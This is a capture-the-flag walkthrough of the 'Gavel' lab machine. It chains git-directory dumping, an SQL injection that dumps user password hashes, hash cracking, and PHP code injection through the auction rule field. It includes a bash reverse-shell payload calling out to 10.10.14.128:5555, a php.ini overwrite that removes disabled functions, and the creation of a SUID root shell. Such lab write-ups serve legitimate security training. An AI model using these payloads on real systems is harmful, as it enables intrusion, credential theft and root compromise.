

## Gavel

```
(blackbin㉿192) [~/Desktop]
$ nmap -p- -sV -Pn 10.10.11.97
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 10:36 EST
Nmap scan report for gavel.htb (10.10.11.97)
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.37 seconds
```

```
(blackbin㉿192) [~/Desktop]
$ gobuster dir -u http://gavel.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 30 -x php,zip,rar --ne
=====
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@fireart)
=====
[+] Url:          http://gavel.htb/
[+] Method:       GET
[+] Threads:      30
[+] Wordlist:     /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent:   gobuster/3.8
[+] Extensions:  php,zip,rar
[+] Timeout:      10s
=====
Starting gobuster in directory enumeration mode
=====
/index.php        (Status: 200) [Size: 14030]
/login.php        (Status: 200) [Size: 4281]
/register.php    (Status: 200) [Size: 4485]
/admin.php        (Status: 302) [Size: 0] [--> index.php]
/assets           (Status: 301) [Size: 307] [---> http://gavel.htb/assets/]
/rules            (Status: 301) [Size: 306] [---> http://gavel.htb/rules/]
/includes          (Status: 301) [Size: 309] [---> http://gavel.htb/includes/]
/logout.php       (Status: 302) [Size: 0] [--> index.php]
/inventory.php    (Status: 302) [Size: 0] [--> index.php]
```

The screenshot shows a web browser window with the URL <http://gavel.htb>. The page title is "Welcome to Gavel". Below the title, there is a message: "The only auction house foolish enough to rise from its own ashes. Twice." Underneath that, another message reads: "We don't talk about Gavel 1.0. Ever. (It ended in fire, lawsuits, and one mysteriously vanishing moon.)". A third message states: "After the Great Goblin Uprising of '22, one lone, sleep-deprived developer (Hil) forged a new system wrapped in more wards, scripts, and sanity checks than a necromancer's tax return." At the bottom, a final message says: "Now our auctioneers wield an arcane Rule Engine so over-engineered it occasionally gains sentience and denies bids for "being too chaotic." Every item is verified. Every bid scrutinized. Every loophole patched, re-opened, and patched again with duct tape and mild hexes."



## Index of /.git

Name	Last modified	Size	Description
<a href="#">Parent Directory</a>		-	
<a href="#">COMMIT_EDITMSG</a>	2025-10-03 18:38	3	
<a href="#">HEAD</a>	2025-09-20 13:11	23	
<a href="#">branches/</a>	2025-09-20 13:11	-	
<a href="#">config</a>	2025-09-20 13:12	136	
<a href="#">description</a>	2025-09-20 13:11	73	
<a href="#">hooks/</a>	2025-09-20 13:11	-	
<a href="#">index</a>	2025-10-03 18:38	219K	
<a href="#">info/</a>	2025-09-20 13:11	-	
<a href="#">logs/</a>	2025-09-20 13:12	-	
<a href="#">objects/</a>	2025-10-03 18:38	-	
<a href="#">refs/</a>	2025-09-20 13:11	-	

Apache/2.4.52 (Ubuntu) Server at gavel.htb Port 80

```
(blackbin㉿2)-[~/Downloads/GitTools/Dumper]
$ ./gitdumper.sh http://gavel.htb/.git/ ..../Extractor/source_gavel
#####
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
#####

[*] Destination folder does not exist
[+] Creating ..../Extractor/source_gavel/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
```

```
(blackbin@192) [~/Downloads/GitTools/Extractor]
$ ./extractor.sh source_gavel ./source-gavel
#####
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
#####
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: ff27a161f2dd87a0c597ba5638e3457ac167c416
[+] Found file: /home/blackbin/Downloads/GitTools/Extractor/../source-gavel/0-ff27a161f2dd87a0c597ba5638e3457ac167c416/admin.php
[+] Found folder: /home/blackbin/Downloads/GitTools/Extractor/../source-gavel/0-ff27a161f2dd87a0c597ba5638e3457ac167c416/assets
[+] Found folder: /home/blackbin/Downloads/GitTools/Extractor/../source-gavel/0-ff27a161f2dd87a0c597ba5638e3457ac167c416/assets/css
```

```
inventory.php ×
0-ff27a161f2dd87a0c597ba5638e3457ac167c416 > inventory.php > ...
1 <?php
2 require_once __DIR__ . '/includes/config.php';
3 require_once __DIR__ . '/includes/db.php';
4 require_once __DIR__ . '/includes/session.php';
5
6 if (!isset($_SESSION['user'])) {
7     header(header: 'Location: index.php');
8     exit;
9 }
10
11 $sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
12 $userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
13 $col = "" . str_replace(search: "", replace: "", subject: $sortItem) . "";
14 $itemMap = [];
15 $itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
16 try {
17     if ($sortItem === 'quantity') {
18         $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
19         $stmt->execute([$userId]);
20     } else {
21         $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
22         $stmt->execute([$userId]);
23     }
24     $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
25 } catch (Exception $e) {
26     $results = [];
27 }
```

Request	Response
Pretty	Pretty
Pretty	Pretty
Raw	Raw
Hex	Hex
1 POST /inventory.php HTTP/1.1	84 <div class="row">
2 Host: gavel.htb	85 <div class="col-md-4">
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0	86 <div class="card shadow mb-4">
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	87 <div class="card-body">
5 Accept-Language: en-US,en;q=0.5	88
6 Accept-Encoding: gzip, deflate, br	<hr>
7 Content-Type: application/x-www-form-urlencoded	89 <h5 class="card-title">
8 Content-Length: 106	90 <strong>auctioneer:\$2y\$10\$MNkDHV6g16FjW/1AQRpLiuQXN4MvkdlLnOpL0LC2So9SgHSRTFs_benkyou:\$2y\$10\$RLGKtDZgnsgkEoDfJXX0mrvvxOzN_GCC/ID6HU0j9imB0RAU,test:\$2y\$10\$6/YkwPSxOsuwMympoELTeVfPjCqZba/PRYp6Gkbnv/BRlAz2,vidu:\$2y\$10\$XN7icwNmLxzLDS3acxhcye0xs70101DA9SycJqdilkBeychr63fS,test123:\$2y\$10\$tnXYMBa6aTEfgtvpd7VsfoxyDOULZcybvCiDGKztGdMlc7DfFJWE,mandi:\$2y\$10\$jb7hT1Aey84y6hCpQmsYnuyfn0lnAC/Wn1RvB1LcQY6rECMhEk6,test1:\$2y\$10\$eroAi1iCRJMLJL7.4hsnJu2nSWIckjw0ZmzV/tAuyJoyyRG61C4a,xeu:\$2y\$10\$0J1d7BExD4iyAkPCuUw0dtLbaKNxtTsHvKNLot1,g5rVn.1,adios:\$2y\$10\$7@VT1JmChjPJ8PK1IWle.uF4h4kCBVLHwMjl.gGkNdsdcHoalMu3CC</strong>
9 Origin: http://gavel.htb	
10 Connection: keep-alive	
11 Referer: http://gavel.htb/inventory.php	
12 Cookie: gavel_session=bbied156rg18r56is22aqj qb2t	
13 Upgrade-Insecure-Requests: 1	
14 Priority: u0, i	
15	
16 user_id=	
x +from+(select+group_concat(username,0x3a,password)+as+\$%27x+\$from+users)+#%3b--%2b-&sort=\?;--+	

## Novel SQL Injection Technique in PDO Prepared Statements

```
(blackbin㉿192) [~/Desktop]
$ cat auctioneer.hash
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlc2So9SgH5RTfS

(blackbin㉿192) [~/Desktop]
$ hashcat --identify auctioneer.hash
The following 6 hash-modes match the structure of your input hash:

# | Name | Category
=====+=====
25600 | bcrypt(md5($pass)) | Generic KDF
25800 | bcrypt(sha1($pass)) | Generic KDF
30600 | bcrypt(sha256($pass)) | Generic KDF
28400 | bcrypt(sha512($pass)) | Generic KDF
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
33800 | WBB4 (Woltlab Burning Board) [bcrypt(bcrypt($pass))] | Forums, CMS, E-Commerce
```

hashcat -m 3200 auctioneer.hash /usr/share/wordlists/rockyou.txt

```
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlc2So9SgH5RTfS:midnight1

Session.....: hashcat
Status.....: Cracked
Hash.Mode....: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target...: $2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlc2So...H5RTfS
Time.Started...: Wed Dec 3 10:48:53 2025 (2 mins, 27 secs)
Time.Estimated...: Wed Dec 3 10:51:20 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#01.....: 21 H/s (3.94ms) @ Accel:2 Loops:32 Thr:1 Vec:1
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 3044/14344385 (0.02%)
Rejected.....: 0/3044 (0.00%)
Restore.Point...: 3040/14344385 (0.02%)
Restore.Sub.#01...: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#01...: qwertyui -> iloveyou
Hardware.Mon.#01..: Util: 96%
```

➤ auctioneer:midnight1

The screenshot shows the Admin Panel for the Gavel challenge. The sidebar on the left includes links for Home, Inventory, Bidding, Admin Panel (selected), and Logout. The main content area displays three items:

- Time-Traveling Spoon**: Returns to the last meal you regretted. Constant gravy scent.
- Goblin Employment Contract**: Signed in blood. No expiration. Includes a mandatory weekly prank clause and non-
- Wizard's Expired Library Card**: Access to forbidden knowledge... if you can convince the librarian ghost.

inventory.php    bidding.php X

0-ff27a161f2dd87a0c597ba5638e3457ac167c416 > bidding.php > html > body#page-top > script

```
21   <html lang="en">
30     <body id="page-top">
103       <script>
104         document.querySelectorAll('.timer').forEach(timer => {
105           const end = parseInt(timer.dataset.end);
106           const pTag = timer.closest('p');
107           const interval = setInterval(() => {
108             const now = Math.floor(Date.now() / 1000);
109             const remaining = end - now;
110             if (remaining <= 0) {
111               clearInterval(interval);
112               location.reload();
113             } else {
114               timer.innerText = remaining;
115             }
116           }, 1000);
117         });
118       </script>
```

  

```
<script>
  document.querySelectorAll('form.bidForm').forEach(form => {
    form.addEventListener('submit', async function (e) {
      e.preventDefault();

      const formData = new FormData(form);
      const statusDiv = form.querySelector('.bidStatus');

      try {
        const response = await fetch('includes/bid_handler.php', {
          method: 'POST',
          body: formData
        });

        const result = await response.json();

        if (result.success) {
          statusDiv.innerHTML = `<div class="alert alert-success">${result.message}</div>`;
          setTimeout(() => location.reload(), 1000);
        } else {
          statusDiv.innerHTML = `<div class="alert alert-danger">${result.message}</div>`;
        }
      } catch (err) {
        statusDiv.innerHTML = `<div class="alert alert-danger">Unexpected error</div>`;
      }
    });
  });
</script>
```

```

try {
    if (function_exists(function: 'ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', '$rule');
    error_log(message: "Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log(message: "Rule error: " . $e->getMessage());
    $allowed = false;
}

if (!$allowed) {
    echo json_encode(value: ['success' => false, 'message' => $rule_message]);
    exit;
}

```

**Request**

Pretty	Raw	Hex
1 POST /admin.php HTTP/1.1 2 Host: gavel.htb 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 53 9 Origin: http://gavel.htb 10 Connection:keep-alive 11 Referer: http://gavel.htb/admin.php 12 Cookie: gavel_session=6oqjmsmp9mjepbmsh6n6qs5u5r 13 Upgrade-Insecure-Requests: 1 14 Priority: u=0, i 15 16 auction_id=56&rule=system('id');return+true;&message=		

**Response**

Pretty	Raw	Hex	Render
1 HTTP/1.1 302 Found 2 Date: Thu, 04 Dec 2025 07:53:34 GMT 3 Server: Apache/2.4.52 (Ubuntu) 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT 5 Cache-Control: no-store, no-cache, must-revalidate 6 Pragma: no-cache 7 Location: admin.php 8 Content-Length: 0 9 Keep-Alive: timeout=5, max=100 10 Connection: Keep-Alive 11 Content-Type: text/html; charset=UTF-8 12 13			

**Request**

Pretty	Raw	Hex
1 POST /includes/bid_handler.php HTTP/1.1 2 Host: gavel.htb 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Connection:keep-alive 8 Cookie: gavel_session=6oqjmsmp9mjepbmsh6n6qs5u5r 9 Upgrade-Insecure-Requests: 1 10 Priority: u=0, i 11 Content-Type: application/x-www-form-urlencoded 12 Content-Length: 32 13 14 auction_id=56&bid_amount=50000 15		

**Response**

Pretty	Raw	Hex	Render
1 HTTP/1.1 200 OK 2 Date: Thu, 04 Dec 2025 07:53:45 GMT 3 Server: Apache/2.4.52 (Ubuntu) 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT 5 Cache-Control: no-store, no-cache, must-revalidate 6 Pragma: no-cache 7 Content-Length: 107 8 Keep-Alive: timeout=5, max=100 9 Connection: Keep-Alive 10 Content-Type: application/json 11 12 uid=33(www-data)gid=33(www-data)groups=33(www-data) 13 { "success":true, "message":"Bid placed successfully!" }			

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1 POST /admin.php HTTP/1.1 2 Host: gavel.htb 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 112 9 Origin: http://gavel.htb 10 Connection: keep-alive 11 Referer: http://gavel.htb/admin.php 12 Cookie: gavel_session=6oqj5mp9mjepbmsh6n6qs5u5r 13 Upgrade-Insecure-Requests: 1 14 Priority: u=0, i 15 16 auction_id=60&rule= system('bash++c"bash+-i+>%26+/dev/tcp/10.10.14.128/5555+0>%261"')%3b+return+true%3b&message=		1 HTTP/1.1 302 Found 2 Date: Thu, 04 Dec 2025 07:56:21 GMT 3 Server: Apache/2.4.52 (Ubuntu) 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT 5 Cache-Control: no-store, no-cache, must-revalidate 6 Pragma: no-cache 7 Location: admin.php 8 Content-Length: 0 9 Keep-Alive: timeout=5, max=100 10 Connection: Keep-Alive 11 Content-Type: text/html; charset=UTF-8 12 13					

```
www-data@gavel:/$ ls /home
ls /home
auctioneer
www-data@gavel:/$ ls /home/auctioneer
ls /home/auctioneer
ls: cannot open directory '/home/auctioneer': Permission denied
www-data@gavel:/$ su auctioneer
su auctioneer
Password: midnight1

auctioneer@gavel:/$ ls
ls
bin boot cdrom dev etc home invoice.txt lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var
```

```
auctioneer@gavel:/$ ls /home/auctioneer
ls //home/auctioneer
user.txt
auctioneer@gavel:/$ cat /home/auctioneer/user.txt
cat /home/auctioneer/user.txt
bf615[REDACTED]3d3
auctioneer@gavel:/$
```

```
auctioneer@gavel:~$ ls -la /opt/gavel/
total 56
drwxr-xr-x 4 root root 4096 Nov  5 12:46 .
drwxr-xr-x 3 root root 4096 Nov  5 12:46 ..
drwxr-xr-x 3 root root 4096 Nov  5 12:46 .config
-rw-r--r-- 1 root root 35992 Oct  3 19:35 gaveld
-rw-r--r-- 1 root root   364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4096 Nov  5 12:46 submission
auctioneer@gavel:~$ ls -la /opt/gavel/.config/
total 12
drwxr-xr-x 3 root root 4096 Nov  5 12:46 .
drwxr-xr-x 4 root root 4096 Nov  5 12:46 ..
drwxr-xr-x 2 root root 4096 Nov  5 12:46 php
auctioneer@gavel:~$ ls -la /opt/gavel/.config/php/
total 12
drwxr-xr-x 2 root root 4096 Nov  5 12:46 .
drwxr-xr-x 3 root root 4096 Nov  5 12:46 ..
-rw-r--r-- 1 root root  502 Oct  3 19:35 php.ini
```

```
auctioneer@gavel:~$ cat /opt/gavel/sample.yaml
---
item:
  name: "Dragon's Feathered Hat"
  description: "A flamboyant hat rumored to make dragons jealous."
  image: "https://example.com/dragon_hat.png"
  price: 10000
  rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
  rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:~$
```

```
auctioneer@gavel:/tmp$ cat bypass_ini.yaml
name: bypassini
description: bypass php ini
image: "xeu.png"
price: 1111
rule_msg: "bypassini"
rule: file_put_contents('/opt/gavel/.config/php/php.ini', "engine=On\ndisplay_errors=On\nopen_basedir=\ndisable_functions=\n"); return false;
auctioneer@gavel:/tmp$ ls
bypass_ini.yaml tmux-1001
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit /tmp/bypass_ini.yaml
Item submitted for review << EOF > /tmp/rootshell.yaml
```

```
auctioneer@gavel:/tmp$ cat rootshell.yaml
name: rootshell
description: uid bash
image: "xeu.png"
price: 1111
rule_msg: "rootshell"
rule: system('cp /bin/bash /opt/gavel/rootbash; chmod u+s /opt/gavel/rootbash'); return false;
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit /tmp/rootshell.yaml
Item submitted for review in next auction
```

```
auctioneer@gavel:/tmp$ ls -la /opt/gavel/rootbash
-rwsr-xr-x 1 root root 1396520 Dec  4 08:41 /opt/gavel/rootbash
auctioneer@gavel:/tmp$ /opt/gavel/rootbash -p
rootbash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer),1001(gavel-seller)
rootbash-5.1# cat /root/root.txt
47a0[REDACTED]acf99f
rootbash-5.1#
```